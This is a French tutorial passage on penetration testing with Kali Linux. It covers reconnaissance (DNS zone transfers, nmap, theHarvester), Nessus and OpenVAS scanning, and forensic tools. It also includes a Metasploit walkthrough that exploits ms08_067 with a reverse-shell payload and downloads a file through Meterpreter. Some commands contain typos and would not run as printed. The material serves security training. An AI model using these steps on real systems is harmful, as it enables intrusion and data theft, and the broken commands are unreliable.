campagnes de pentesting, il semble plus facile d’autoriser les connexions SSH depuis notre
poste de travail.
L’une des toutes premières tâches d’un pentesting, consiste à déclencher une collecte
d’informations. Cela peut se faire de différentes façons et à l’aide de différents outils.

Phase de collecte d’informations


Contrairement à l’intelligence acquise depuis des sources telles que la plongée physique
dans les bennes à ordures de la société ciblée, ou la récupération de la base d’un site web
ou encore l’ingénierie sociale, l’organisme Open Source INTelligence (aussi abrégée
en OSINT) est constituée des collectes des sources d’enregistrements publics et de media
sociaux. Voyons quelques-uns des outils permettant de se renseigner et disposer
légalement d’informations concernant une cible potentielle.

A. Netcraft
Lorsque l’on recherche de l’information, on peut se tourner vers la partie déclarée
publiquement par une entreprise concernant son serveur web et son hébergement. On
peut notamment interroger le site de la firme Netcraft qui journalise les requêtes en
temps-réel effectuées par ses clients, stockées alors sur le site [Link]. Cette
société fournit également de l’information quant à la politique anti-phishing mise en
œuvre pour l’entreprise considérée.
Exemple : pour le domaine [Link]

En complément de ces informations, on peut également interroger le registrar de


domaine, qui conserve un enregistrement des domaines qu’il héberge via la commande
whois :
# whois [Link]

REMARQUE : il est également possible d’utiliser un des clients DNS pour interroger
l’annuaire de noms à l’aide de la commande nslookup ou encore dig. Par ailleurs, il existe
également une commande permettant d’interroger directement le nom d’hôte concerné :
la commande host (ou plus récemment la commande hostnamectl) :
# host –t ns [Link]

[Link] name server [Link]

[Link] name server [Link]


B. Autour du DNS
Un autre moyen de récupérer de l’information à moindre coût consiste à exploiter celles
fournies par le transfert de zone DNS, autorisés par les serveurs de noms et autorisant la
réplication des enregistrements d’un domaine. En général, sur une infrastructure
classique, on initialise un serveur de noms DNS primaire que l’on redonde avec un serveur
de backup. Cela permet de dupliquer les informations du serveur primaire vers le serveur
secondaire.

Malheureusement, nombre d’administrateurs système créent leurs serveurs DNS de façon


non sécurisée. Ainsi, n’importe qui peut transférer les enregistrements DNS d’un domaine.
Il suffit simplement d’exécuter :
# host -l [Link] [Link]

Le listing obtenu en sortie fournit une bonne idée des failles potentielles à exploiter
durant la phase de test de vulnérabilité. Par exemple, le serveur [Link] est
probablement un serveur de messagerie où il est possible de trouver un ou plusieurs trous
de sécurité à exploiter, en se basant sur le protocole SMTP et le port TCP/25.

En guise de bonne pratique, en sachant que les tests d’intrusion externes trouvent souvent
moins de services exposés que ceux issus de tests d’intrusion internes, on peut se dire de
n’exposer que les services devant véritablement être utilisés à distance : serveurs web,
serveurs de messagerie, serveurs VPN et probablement SSH ou FTP (ou tous ceux
identifiés comme étant critiques). Ce genre de services est le plus généralement la cible
des attaques. Si l’entreprise ne force pas l’utilisation de facteurs d’authentification double,
ces tentatives d’intrusions par la messagerie deviendront monnaie courante.

REMARQUE : via l’ingénierie sociale, on peut également trouver bon nombre d’adresses
de messagerie d’utilisateurs de firmes, directement sur Internet, grâce aux contacts
d’associations ou réseaux sociaux.
Il existe également une autre commande permettant d’interroger un nom de domaine. Il
s’agit de l’utilitaire dnsenum que l’on peut utiliser de la façon suivante :
# dnsenum –enum [Link]

ATTENTION : il ne faut pas utiliser cela sur un site web public qui ne nous appartient pas.
Car, serait alors considérer comme un acte de piratage.

C. TheHarvester
Il est possible d’utiliser un script python appelé theHarvester permettant de collecter au
sein des résultats d’une centaine de moteurs de recherche, les adresses de messagerie
potentielles. Ce script peut automatiser la recherche au travers des moteurs tels que :

▪ Google
▪ Bing
▪ PGP
▪ Linkedin
Exemple: recherche sur le domaine de [Link] au travers du moteur Google :
D. Maltego
Ce dernier est un outil de collecte d’information (aussi appelé data-mining) spécialement
conçu pour visualiser l’intelligence ainsi récupérée. Cet outil possède une version
commerciale et une version Open Source, un peu plus bridée. Maltego exploite les
informations publiques disponibles sur Internet. Il est donc tout à fait légal d’effectuer des
reconnaissances à l’aide de cet outil.

A l’ouverture de la session, l’assistant réclame le type d’utilisation (parmi une liste de trois
choix) :
Dans notre exemple, nous utiliserons évidemment la version libre. EN premier lieu, le
programme nécessite la création d’un compte sur le site propriétaire du logiciel (alias
Paterva - [Link]). Il faut ensuite s’y connecter, et lorsque c’est fait, il faut alors
sélectionner l’option suivante :
On doit ensuite sélectionner une palette. Cela consiste à préciser dans quel périmètre on
interagit :

Afin de choisir le domaine sur lequel on va effectuer sa recherche, il faut double-cliquer


dans le champ "Domain Name" de la boite de dialogue Properties à droite de l’écran. Ainsi,
on peut changer le texte pour celui du domaine que l’on souhaite explorer.
Ensuite, il suffit d’ouvrir le menu All Transform -> To DNS Name – MX (mail server) ->
Run Transform, pour déclencher l’analyse souhaitée. Ainsi, on va obtenir rapidement
l’architecture complète de l’annuaire de noms pour le domaine mentionné. Pour se
former, on peut suivre l’un des nombreux tutoriels disponibles sur le
site [Link].

E. Le scan de ports et de services


Avant d’effectuer la moindre action concernant un test d’intrusion, on doit identifier les
machines actives se trouvant dans le périmètre du réseau ciblé. On peut commencer par
tester l’aller-retour avec le protocole ICMP via la commande ping. Mais, la plupart du
temps ce protocole est bloqué par la barrière des pare-feu. On peut alors utiliser la
commande nmap afin de déterminer si un serveur est actif ou non.
# nmap -sP [Link]

REMARQUE: il existe aussi une commande nping permettant de fournir un peu plus de
détail concernant l’échange de paquets au niveau du réseau. Faut-il encore que le
protocole ICMP ne soit pas bloqué à quelque niveau que ce soit.
Avec la commande nmap, on peut notamment savoir quel type de système d’exploitation
est actuellement utilisé :
# nmap -O [Link]

Device type: general purpose

Running: Microsoft Windows 7|2008

Il est possible de lister explicitement la ou les plage(s) de ports à scanner en utilisant


l’option -p comme suit:
# nmap -p 1-1000 [Link]

On peut également, pour un port donné, scanner l’ensemble de la plage réseau de notre
infrastructure :
# name -p 22 192.168.3.*

Au sein de Kali Linux, on trouve également une interface graphique encapsulant


l’utilitaire nmap, appelé zenmap. On peut alors s’en servir pour lister l’ensemble des
machines du réseau à attaquer.

De la même façon que l’on peut récupérer l’empreinte d’un hôte à l’aide de l’option -O, on
peut aussi scanner un réseau pour récupérer l’empreinte d’un service grâce à l’option -
sV :
# nmap –sV [Link]

F. Plages réseau
Lorsque l’on souhaite déterminer sur quelle(s) plage(s) d’adresses notre test d’intrusion
va porter, on peut aussi utiliser le script dmitry, en redirigeant le résultat dans un fichier
en sortie :
# dmitry –wnspb [Link] –o /root/Dmitry-results

Lorsque le script a terminé sa recherche, on devrait alors disposer en sortie du fichier


/root/[Link], listant les différentes adresses IP et serveurs pour le domaine
[Link]. On peut aussi récupérer les différents masques de sous-réseaux de la plage
en question :
# netmask –s [Link]

On peut alors utiliser l’utilitaire scapy, permettant de reconstituer les différents paquets
échangés à travers un réseau, pour reconstituer les différents sous-réseaux :
# scapy
> ans,unans=sr(IP(dst= "[Link]/30", ttl=(1,6))/TCP())

Afin de stocker le résultat dans une table interne de l’outil, il suffit d’exécuter la requête
ci-dessous :
> ans.make_table( lambda (s,r) : ([Link], [Link], [Link]) )

Le résultat est alors affiché sous forme d’une liste d’adresse IP. On peut alors simuler une
commande traceroute en recréant les paquets TCP idoines via la requête scapy suivante :
>
res,unans=tracerouite(["[Link]",[Link],"[Link]"],dport=
[80,443],maxttl=20,retry

=-2)

Du coup, il est même possible d’afficher un graphe de dépendances en exécutant


l’instruction suivante :
> [Link]()

REMARQUE: ce graphe peut être sauvegardé dans un fichier temporaire en mentionnant


la redirection au sein de la fonction [Link]()= :
> [Link](target="> /tmp/[Link]")

Utilisation de Metasploit
Dans cette partie, le cadre Metasploit nous aidera à mettre en œuvre notre campagne de
tests de pénétration. Ce logiciel est aujourd’hui la propriété de la firme de sécurité Rapid7
dont une édition Open Source est toujours disponible grâce aux larges contributions et
développements de la communauté de sécurité.

L’architecture modulaire et flexible de Metasploit aide en effet les développeurs à créer


des exploits fonctionnels dès que de nouvelles vulnérabilités sont découvertes. On peut
se demander pourquoi utiliser Metasploit plutôt qu’un autre outil? En réalité, en tant que
testeur d’intrusion (on parle aussi de pentester), c’est notre rôle d’évaluer sous forme
d’exploits, les vulnérabilités découvertes au fil du temps et de les mettre en exergue,
lorsque c’est possible afin d’évaluer le risque de compromission. Cet outil permet
de générer des exploits à partir des vulnérabilités connues sans trop d’effort.

Pour démarrer Metasploit et générer la première attaque de notre système, il faut tout
d’abord démarrer le service de base de données PostgreSQL que Metasploit doit utiliser
pour tracer les différentes actions que l’on va mener :
# systemctl start postgresql

Maintenant, il suffit simplement de démarrer la console metasploit. Cette commande va


alors initialiser l’utilisateur PostgreSQL appelé msf, correspondant au nom de base de
données de stockage de nos données. Cela permet également de démarrer un appel de
procédure distante (ou RPC) ainsi qu’un serveur web:
# msfconsole
REMARQUE: contrairement aux premières versions de Kali Linux, il n’existe plus de
service Metasploit, en tant que tel. Seule les exécutables, dont la console metasploit sont
actifs car ils appartiennent au noyau Open Source de l’outil.

Dès lors, il est possible d’exécuter des commandes en ayant au préalable interrogé
l’interface afin de connaitre leurs options :
msf > help

Il existe de nombreux modules que l’on peut ajouter à l’utilitaire Metasploit. Ces modules
sont téléchargeables depuis le site [Link]. Ils sont contenus dans une base
interne permettant d’interroger à la fois les bases Common Vulnerabilities
and Exposures (abrégée en CVE), ou Open Sourced Vulnerability Database (abrégée en
OSVDB), ou le site Bugtraq ou encore le Microsoft Security Bulletin.
IMPORTANT : cela implique bien évidemment que la plateforme Kali Linux doit disposer
d’un accès Internet pour pouvoir interroger ces bases de connaissance librement, sans
contrainte ni pare-feu.
En effet, avant d’exploiter une quelconque faille de sécurité, il faut bien évidemment
effectuer un scan de vulnérabilités. Une fois ce précieux rapport entre nos mains, on peut
alors chercher à en exploiter un des éléments. Pour cela rien de mieux que d’interroger la
base mise à disposition sur le site Rapid7 ci-dessous :
En interne, depuis notre plateforme Metasploit, on peut interroger les modules
préenregistrés et intégrés à l’outil grâce à la commande de recherche suivante:

Dès lors, on peut rechercher des précisions quant à ce module pré-intégré, puisque l’on
dispose du chemin d’accès mentionné ci-
dessus exploit/windows/smb/ms08_067_netapi, en exécutant l’instruction suivante :
msf > info exploit/windows/smb/ms08_067_netapi

Ainsi, pour utiliser ce module, il suffit juste d’exécuter l’ordre ci-dessous (en supprimant
la partie de référence exploit/):
msf > use windows/smb/ms08_067_netapi

On peut alors lister les options liées à cet exploit grâce à la commande suivante:
msf > show options

Dans l’exemple utilisé ici, nous avons la possibilité de fournir trois paramètres
spécifiques :

▪ RHOST pour mentionner l’hôte distant que l’on veut cibler.


▪ RPORT pour préciser le n° de port d’attaque.
▪ SMBPIPE pour préciser le canal d’intercommunication IPC à utiliser.
On peut fixer ces paramètres à l’aide du mot-clé set, en mentionnant le nom du paramètre
et sa valeur :
msf > set RHOST [Link]

REMARQUE : la cible d’exploit (ou Exploit Target) est positionnée par défaut à un mode
automatique.
Mais, il est possible de visualiser à tout moment les différentes cibles disponibles, grâce à
la commande suivante (ce qui permet d’être encore plus précis lors de nos phases de tests
en ciblant le bon système d’exploitation) :
msf > show targets

La réussite des exploits dépend des charges actives (aussi appelées payloads),
ajoutées régulièrement à Metasploit de la même façon que les modules. Ces charges
déterminent sur quel(s) type(s) de matériel(s) et d’éléments on cible l’attaque. Pour lister
les charges actives disponibles, il suffit d’exécuter la commande suivante :
msf > show payloads

Parmi la liste des charges actives compatibles listées précédemment, on peut voir une
plage d’options utilisant des shells ou Meterpreter (il s’agit d’un interpréteur de
métadonnées permettant d’effectuer un certain nombre de tâches: télécharger des
fichiers, lancer un keylogger, prendre une capture d’écran…). En ce qui concerne ces deux
types de charges actives, ils sont divisés en deux catégories :

▪ Connecté (bind)
▪ Inversé (reverse)
REMARQUE: l’outil Meterpreter est principalement disponible pour les cibles Microsoft
Windows. Mais, il existe aussi des charges actives permettant d’obtenir une session
Meterpreter sous Linux.
▪ Shell connecté
Précise à la machine d’ouvrir un shell de commande et d’écouter sur le port local.
L’attaquant se connecte sur la machine ciblée sur le port d’écoute. Ceci dit, à cause des
pare-feu, l’efficacité des shells connectés a échoué car n’importe quel pare-feu
correctement configuré bloque les ports aléatoires tels que 4444.
▪ Shell inversé
Pousse activement une connexion inversée à destination de l’attaquant plutôt que
d’attendre une connexion entrante. Dans ce cas de figure, sur notre machine d’attaque on
ouvre un port local en écoute d’une connexion de la cible, permettant ainsi de se faufiler
plus facilement au travers des pare-feu.

La charge active est un paramètre comme un autre, il est donc possible de le préciser via
l’instruction set suivante :
msf > set payload windows/shell_reverse_tcp

ATTENTION: comme dans l’exemple ci-dessus, il s’agit d’un shell inversé, on doit alors
préciser la cible où envoyer le shell. Il faut donc mentionner :
▪ l’adresse IP de notre machine d’attaque
▪ le port sur lequel on écoute les connexions entrantes
Dès lors que le cadre de l’exploit est fixé, on peut alors demander à Metasploit de
l’exécuter via l’instruction ci-dessous :
msf > exploit

Cette dernière commande liste alors les différentes étapes par lesquelles on passe avant
d’en arriver à l’exécution de l’exploit. Cela se termine par une session Meterpreter. Ce
dernier est le moyen de prendre la main et de passer des commandes à distance, à la
machine cible afin d’exécuter l’ensemble des étapes permettant de réaliser notre exploit.

Par exemple, pour télécharger un fichier [Link], depuis la machine distante, il suffit
d’exécuter :

meterpreter > ls

Mode Size Type Last modified Name


---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2014-03-26 23:24:48 +0100 Desktop

meterpreter > cd Desktop


meterpreter > ls

Listing: C:\Documents and Settings\admin\Desktop


------------------------------------------------------------
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 16 fil 2019-02-10 14:44:09 +0100 [Link]

meterpreter > download [Link]

[*] downloading: TOP_SECRET.txt -> [Link]


[*] downloaded : TOP_SECRET.txt -> [Link]
Une fois que l’on a réussi l’exploit à distance, il convient de se déconnecter. Pour cela, un
simple [CTRL]+C suffit à terminer la session de prise de main à distance.

REMARQUE: le framework Metasploit dispose également d’un mode ligne de commande


que l’on peut appeler via la commande msfcli. Cela peut s’avérer pratique pour tester des
modules Metasploit ou créer des scripts d’exploit. Son utilisation s’apparente au mode
console :
# msfcli windows/smb/ms08_067_netapi RHOST=[Link] P

Pour terminer cette partie, rappelons que pour pouvoir maintenir à jour l’outil Metasploit,
il suffit d’exécuter la mise à jour de celui-ci grâce à la commande :
# msfupdate

Maintenant que nous avons vu les deux principales phases d’un test d’intrusion, à savoir :

▪ Récolte d’informations
▪ Mise en œuvre des exploits
Nous allons passer à la suite : la phase de scan de vulnérabilités.

Phase de scan de vulnérabilités


Pour faire suite aux étapes de récolte d'informations et de mise en oeuvre des exploits, il
est nécessaire de parcourir l’ensemble des serveurs du périmètre du pentesting afin d’en
déterminer les failles potentielles. Il s’agit de la phase d’évaluation ou de scan de
vulnérabilités. Deux outils vont aider à mettre en place une véritable stratégie, permettant
de scanner les machines à la recherche de vulnérabilités potentielles:

▪ Nessus
▪ OpenVAS
REMARQUE : Nessus est devenu commercial au fil du temps. C’est pourquoi il existe un
fork, appelé OpenVAS offrant des services complets, en lieu et place de ceux, devenus
payant, pour Nessus.

A. Utilisation de Nessus
Si l’on souhaite installer Nessus sur une machine Kali Linux (donc, hébergée sur une
distribution Linux Debian), on va donc télécharger le package depuis le
site [Link]. Cela permet alors de récupérer un code d’enregistrement qui va
nous permettre de tester la version professionnelle pendant 7 jours (c’est-à-dire sans
aucune limitation) :

Ensuite, on peut aller sur la page [Link]/downloads/nessus, afin de pouvoir


télécharger le package nécessaire à la mise en place sur notre plateforme Kali Linux :
Après avoir validé l’agrément de licence, on peut télécharger le package et le rapatrier sur
notre machine Kali Linux en vue de l’installer :
# dpkg –i "Nessus-8.2.2-debian6_amd64.deb"

Au final, lorsque le package est installé, on dispose de l’affichage ci-dessous. Ce qu’il faut
en retenir, c’est que l’interface web est alors accessible depuis
l’url [Link]

Le logiciel est alors installé sur le répertoire /opt/nessus. On peut alors activer le service
Nessus en exécutant la commande suivant :
# systemctl start nessusd

Bien évidemment, le code d’enregistrement va alors nous être réclamé. On peut le saisir
via la commande ci-dessous :
# /opt/nessus/bin/nessus-fetch –register XXXX-XXXX-XXXX-XXXX-XXXX

REMARQUE: on peut également télécharger le plugin le plus récent depuis le site


[Link] On récupère alors un fichier [Link] que l’on peut placer
sur notre machine Kali Linux. Ensuite, on place le fichier de license (appelé [Link])
dans le répertoire /opt/nessus/var/nessus, et on peut activer l’enregistrement via la
commande suivante :
# /opt/nessus/sbin/nessuscli fetch --register-offline [Link]

Théoriquement, si tout se passe bien, on devrait alors voir apparaître une confirmation
d’enregistrement de l’agrément de licence sous la forme de l’écran suivant :

Le fichier [Link] est généralement fourni sur la page où l’on récupère le plugin le
plus récent sous la forme d’une fenêtre telle que celle-ci-dessous :

On peut alors créer un compte spécifique de scan de vulnérabilités, que l’on appellera
admnessus. Pour cela, on doit se connecter à l’interface web via l’url
[Link] L’assistant nous propose automatiquement de créer un premier
compte d’administration :
Juste après, l’assistant nous redemande notre code d’activation :

Pour des plateformes déconnectées d’Internet, on peut malgré tout s’enregistrer grâce au
code généré dans le premier champ ci-dessous et au code d’activation précédemment
récupéré par mail. Il suffit de remplir alors les champs de la façon suivante en
sélectionnant l’option offline :

En effet, si l’on ne dispose pas d’une connexion Internet, il est évident que la vérification
de l’enregistrement du code d’activation ne pourra se faire. Aussi, on doit exécuter cette
étape de façon déconnectée. Ainsi, l’assistant peut alors initialiser la plateforme de scan
de vulnérabilités :

A ce stade, on a alors accès à l’interface Nessus et on peut commencer à analyser les


vulnérabilités sur les serveurs de notre infrastructure. Nous allons voir maintenant
comment spécialiser ces différents scans en fonction du type de machine évaluées.
Commençons par créer une stratégie permettant d’analyser localement la plateforme Kali
Linux. On va donc ouvrir l’interface graphique Nessus et sélectionner le menu Policies et
on peut alors cliquer sur le lien ‘Create a new policy’ :
On peut alors sélectionner un des nombreux modèles de détection proposé par l’outil. En
l’occurrence, on choisira le modèle de base (Basic Network Scan):

On peut alors donner un nom et une description à notre nouvelle stratégie :


Pour le moment, aucun plugin n’est encore détecté. Pour pourvoir les visualiser (en ayant
au préalable téléchargé le fichier [Link] sur le site de Tenable, on doit exécuter la
commande suivante, dans le répertoire /opt/nessus/var/nessus :
# /opt/nessus/sbin/nessuscli update [Link]
* Update successful. The changes will be automatically processed by
Nessus.
Lorsqu’on rafraîchit la page de l’interface graphique, on visualise alors les différents
plugins disponibles et on peut sélectionner les deux enregistrements suivants :

▪ Ubuntu Local Security Checks


▪ Default Unix Accounts

On peut ensuite créer un nouvel enregistrement de scan en sélectionnant le menu


principal et en cliquant sur le choix ‘Scan’ :

Il faut alors sélectionner l’onglet concernant les scans utilisateur définis afin d’y retrouver
notre stratégie créée précédemment. On pourra alors fournir un nom et une description
pour ce nouvel enregistrement de scan:
En sélectionnant l’onglet ‘Schedule’, il est possible de préciser la date et l’heure du scan
programmé. Il est conseillé de l’exécuter une première fois de façon unique :

Au final, on doit donc disposer dans la liste des scans programmés de notre nouvel
enregistrement défini ci-dessus. On peut le cocher et laisser la tâche s’exécuter ou la
déclencher manuellement. Lorsque la tâche s’exécute, on doit alors voir apparaître
l’affichage suivant :

Dès lors, dans le menu ‘My Scan’ on va retrouver la tâche ou le scan précédemment
déclenché et on peut consulter le rapport en cliquant sur le lien. On dispose d’un premier
aperçu du résulta via l’affichage ci-dessous :

On peut alors analyser plus finement le résultat en ouvrant l’onglet ‘Vulnerabilities’ et en


listant un à un les différents éléments détectés :
REMARQUE : comme on peut le constater, notre plateforme Kali Linux ne présente guère
de vulnérabilités (ce qui est un peu normal pour ce type de plateforme sécurisée dès
l’installation) et ne liste pratiquement que des informations (étiquetées en bleu ci-
dessus).
Maintenant que nous disposons de l’outil, il ne reste plus qu’à créer autant de stratégie
que nécessaire. On peut par exemple créer des stratégies pour les besoins suivants:

▪ Vulnerabilites Reseau interne


▪ Vulnerabilites Linux
▪ Vulnerabilites Windows

B. Utilisation d’OpenVAS
Le logiciel OpenVAS est la version open Source de l’outil de scan de vulnérabilités Nessus.
Il arrive que ce programme soit d’ores et déjà disponible sur la plateforme Kali Linux.
L’outil se compose d’éléments s’exécutant en arrière-plan :

▪ Un scanner en charge de la detection des vulnerabilites


▪ Un manager contenant l’intelligence du framework et controlant le scanner (ecrit en
SQLite) et planifiant les audits et generant les rapports.
▪ Un agent administrator se chargeant de la gestion des utilisateurs, de l’alimentation
du modele de vulnerabilites et /ou des plugins.
Il existe aussi certains processus s’exécutant en avant-plan :

▪ L’interface CLI pour transmettre les ordres d’audit au Manager.


▪ Le tableau de bord (aussi appele greenbone security desktop) interface complete
suivant l’etat des audits, des vulnerabilites.
▪ Le client HTTPS/HTTP pour le Manager (aussi appele greenbone security assistant).
OpenVAS s’appuie sur un ensemble de vulnérabilités connues et reconnus stockée au sein
d’une base de données. Pour disposer d’OpenVAS sur la plateforme Kali Linux, si ce n’est
pas le cas, il faut s’assurer que la machine est à jour et ensuite mettre à jour les dépôts
officiels de la distribution :
# apt-get update

# apt-get dist-upgrade

ATTENTION: pour disposer de la version Kali Linux en mode rolling, il est nécessaire de
s’assurer que le dépôt est bien celui correspondant à kali-rolling :
# cd /etc/apt

# vi [Link]

On doit alors trouver la ligne suivante :


deb [Link] kali-rolling main

Seulement alors, on peut effectuer les mises à jour automatiques et permettre


l’installation de la suite OpenVAS en exécutant les instructions suivantes:
# apt-get update

# apt-get install kali-archive-keyring


# apt-get install -t kali-rolling openvas

On peut alors installer le package openvas et lancer l’initialisation:


# apt-get install openvas

# openvas-setup

Une fois que le programme openvas-setup s’est correctement exécuté, les services sous-
jacents devraient être opérationnels. Pour s’en assurer on peut exécuter la commande
suivante :
# netstat -antp

On devrait alors visualiser les processus en écoute suivants :

Par défaut, les services OpenVAS ne sont pas configurés. Mais, si l’on a déjà paramétrés
ceux-ci, on peut alors démarrer l’application permettant d’activer les agents gsad,
openvassd, openvasmd et openvasd:
# openvas-start

REMARQUE : si l’on rencontre des difficultés lors de la phase de démarrage, on peut


évaluer la cohérence de la syntaxe du paramétrage OpenVAS en exécutant la commande
openvas-check-setup.
Pour se connecter à l’interface graphique de l’application OpenVAS, il suffit d’exécuter la
page web [Link] et d’accepter le certificat auto-signé. De la même façon
que pour Nessus, il faut alors créer un compte d’administration admin dont le mot de
passe est initialisé lors de la phase de configuration.
On peut effectuer la configuration en mode ligne de commande, en commençant par
changer le mot de passe initial du compte admin :
# openvasmd --user=admin --new-password=++++++++

Pour arrêter et redémarrer le service OpenVAS, après une quelconque modification de la


configuration, on devra utiliser les directives suivantes:
# openvas-stop

# openvas-start

Au niveau de la suite OpenVAS, il est conseillé d’effectuer un scan complet. Pour cela, on
doit définir les éléments suivants :

▪ le type de scan
▪ les identifiants (aussi appeles credentials)
▪ la liste des ports a scanner
▪ la ou les cible(s) a scanner
Lorsque ces paramètres sont fixés, on peut alors cliquer sur le bouton ‘Create’ pour
ensuite aller créer une nouvelle tâche dans le menu Scan -> Tasks. De la même façon que
pour Nessus, on doit fournir un nom et une description à ce nouvel enregistrement et
préciser le périmètre du scan à effectuer :

Lorsque la tâche est créée, il ne reste plus qu’à l’exécuter via le bouton ‘Play’. Dès que la
tâche se termine, le status de celle-ci passe à l’état ‘DONE’. En cliquant sur la ligne de la
tâche de scan on peut alors faire afficher le rapport complet :

REMARQUE: le rapport ainsi récupéré peut alors être exporté dans divers format dont ;
XML, HTML, ou encore PDF. Si l’on clique sur chaque vulnérabilité détectée, on accède
alors au détail de celle-ci ainsi qu’à la solution proposée, le ou les logiciels affectés ainsi
que les références CVE/CERT (éventuellement d’autres organismes de sécurité).
Avec ces différents outils, nous disposons alors d’un véritable laboratoire d’analyse et de
sécurité, nous permettant de pousser les recherches de failles jusqu'aux extrêmes limites
de ce qui est possible, y compris dans des domaines assez sensibles tels que :

▪ Ingenierie inverse
▪ Wifi et autres applications sans-fil
▪ Reseaux sociaux
▪ Compte-rendu et reporting
▪ Analyse legale (post-mortem)

Fonctionnalités d’analyse légale


(forensic)
L’analyse légale, aussi appelée analyse forensic permet d’acquérir, de récupérer, de
préserver et de présenter des informations traitées par le système d’information et
stockées sur différents supports informatiques.
Ce genre d’investigation, à l’image des détections de failles et/ou d’intrusions, est calqué
sur trois phases distinctes :

▪ l’acquisition de donnees
▪ le recouvrement des donnees
▪ l’analyse des donnees

A. Acquisition de données
Cela consiste à récupérer les données d’une machine, dans le but de les inspecter et les
analyser. L’objectif majeur et le challenge consiste à parcourir les données du système
d’information sans altération quelle qu’elle soit. L’approche peut donc être différente
selon le cas où le système est arrêté ou en cours d’utilisation.

B. Recouvrement de données
Un fichier supprimé d’un système d’information l’est rarement de façon définitive. Les
informations (aussi appelées métadonnées), se trouvent physiquement stockées sur le
disque dur. Il est donc vraisemblablement possible de recouvrer les documents ainsi
perdus par mégarde, à partir de l’image de ce même périphérique de stockage. On peut
employer la technique de "file carying" permettant d’effectuer une recherche depuis
l’image du disque, en spécifiant le type de fichier recherché.

C. Analyse de données
Lorsque les données égarées sont récupérées, il faut alors les analyser afin de s’assurer
qu’aucun biais compromettant ne peut endommager le media de stockage et corrompre à
nouveau les fichiers s’y trouvant. La facilité d’analyse est forcément liée aux compétences
du pirate et de son attaque. Certains se dissimulent, laissant malgré tout quelques traces
repérables, au niveau du système d’exploitation (journaux, fichiers de traces,
historiques…). D’autres peuvent avoir pris soin d’effacer un maximum d’éléments
permettant de trahir leur présence et/ou leur méfait.

Toutefois, la question concernant l’utilisation de l’analyse forensic doit se poser dès que
l’on met en œuvre un système d’informations. En effet, lors de n’importe quel incident de
sécurité il sera nécessaire de comprendre le mode opératoire du ou des attaquant(s), d’en
retracer les actions. Mais, il faut aussi pouvoir collecter les preuves du forfait afin,
éventuellement de porter plainte et entamer des poursuites auprès des organismes
judiciaires idoines. Aussi, l’analyse forensic s’avère utile dans les cas suivants :

▪ Analyses de malwares
▪ Recuperation de preuves, en vue de plaintes
▪ Tests d’intrusion
▪ Recuperation de donnees ou d’elements perdus ou corrompus
C’est seulement dans ce genre de situation que l’on pourra utiliser l’une des techniques
décrites ci-dessous et appliquer les logiciels prévus pour l’analyse légale au sein de
Kali Linux :
▪ Recuperation de fichiers effaces
▪ Analyse de journaux et de logs
▪ Analyse de fichiers infectes
▪ Analyse de la memoire (ROM, SDRAM, RAM)
▪ Extraction de preuves ou d’informations
Afin d’analyser les disques durs, on trouve parmi les nombreux outils disponibles sur Kali
Linux, l’application foremost, qui s’utilise en ligne de commande de la façon suivante :
# foremost [Link]

REMARQUE: au niveau d’une partition, sur Linux, il est possible d’utiliser la commande
fsck pour s’assurer de la cohérence de celle-ci :
# fsck –f /dev/sdc

Il existe également un autre outil d’analyse appelé scalpel, spécifique aux distributions
Linux, permettant de décortiquer les fichiers stockés sur le media du système. On doit
éditer le fichier de configuration /etc/scalpel/[Link] afin de décommenter le fichier
et son type à analyser avant d’exécuter l’ordre de vérification :
# scalpel /dev/sdc2 –o output

REMARQUE: il existe un outil équivalent pour Microsoft Windows, appelé NTFS Undelete
permettant de récupérer des fichiers effacés à partir d’un système de fichiers NTFS. On
peut télécharger ce logiciel à partir de [Link].
Par ailleurs, afin de pouvoir mener l’enquête sur des partitions diverses au format FAT,
ext2, ext3 voire même NTFS ou encore ffs, on peut alors utiliser la suite d’outils Sleuth Kit
conjointement avec Autopsy. Cette suite logicielle permet :

▪ d’analyser en profondeur les disques durs


▪ de recuperer les donnees supprimees
▪ de rechercher et trier les donnees ainsi recuperees
▪ d’effectuer des statistiques sur l’ensemble des fichiers recuperes
Lorsque l’on ouvre l’application Autopsy, via l’url [Link] on
devrait alors visualiser l’écran suivant :
En termes d’analyse d’images (qu’il s’agisse d’images au format jpg, bmp, gif ou png), on
peut utiliser le logiciel exiv2. Il s’agit d’une bibliothèque C++ joint à un utilitaire en ligne
de commande multiplateforme, permettant de gérer les métadonnées des images :
# exiv2 -p [Link]

On trouve aussi un autre logiciel, appelé recoverjpeg, spécifique à Linux et permettant de


récupérer des images (format jfif et/ou jpeg), mais aussi des films au format .mov en
mentionnant la partition sur laquelle on souhaite effectuer la récupération :
# recoverjpeg /dev/sdc2

En ce qui concerne l’analyse approfondie de la mémoire, on peut citer volatility. Il s’agit


d’un framework multiplateforme incorporant une série d’outils en vue d’analyser la
mémoire vive (ou Random Access Memory). Kali Linux fournit également un programme
permettant d’analyser l’intégrité des données avec Hashdeep ainsi qu’une analyse des
cookies, pour les applications web, via l’utilitaire Galleta.

REMARQUE : il existe également un utilitaire permettant d’analyser la mémoire d’une


machine MacOS, appelé Volafox.
Dans l’analyse de fichier PDF, on peut utiliser pdfinfo pour collecter de l’information
concernant le fichier à récupérer. On peut ainsi non seulement effectuer nos analyses de
risques via des scans de vulnérabilités, mais également le cas échéant, en cas de perte ou
de crash machine, récupérer les éléments perdus ou corrompus. Dans le prochain
chapitre, nous allons détailler comment élever les privilèges d’un compte après une
tentative réussie de connexion grâce à une vulnérabilité exploitée.

Exploitation de vulnérabilités avec Kali


Linux
Lorsque l’on a récolté un certain nombre d’informations concernant la cible sur laquelle
on souhaite effectuer les tests d’intrusion, puis que l’on a détaillé l’ensemble des
vulnérabilités accessibles sur cette même cible, on peut alors procéder aux tests
d’intrusion eux-mêmes.

Ensuite, vient le moment où après une pénétration réussie, il convient d’assurer le


maintien de la connexion afin de pouvoir effectuer des captures d’écrans et récolter ainsi
les preuves de l’exploit mis en œuvre. C’est durant cette phase qu’interviennent
l’élévation de privilèges et l’attaque du ou des mots de passe en place. Nous allons donc
détailler ces différentes opérations.

L’élévation de privilèges
Lorsque l’on a récupéré un accès à un ordinateur que l’on souhaite attaquer, il est
important d’autoriser une élévation de privilèges, autant que faire se peut. En
général on récupère des privilèges depuis un compte n’en n’ayant peu voire pas du
tout.
Toutefois, il est possible que le compte d’accès soit celui de l’administrateur. Nous allons
donc voir maintenant les différentes recettes pour s’octroyer plus de privilèges, parmi
lesquelles on détaillera les stratégies suivantes :

▪ l’utilisation de jeton d’imitation


▪ l’attaque par escalade de privilege local
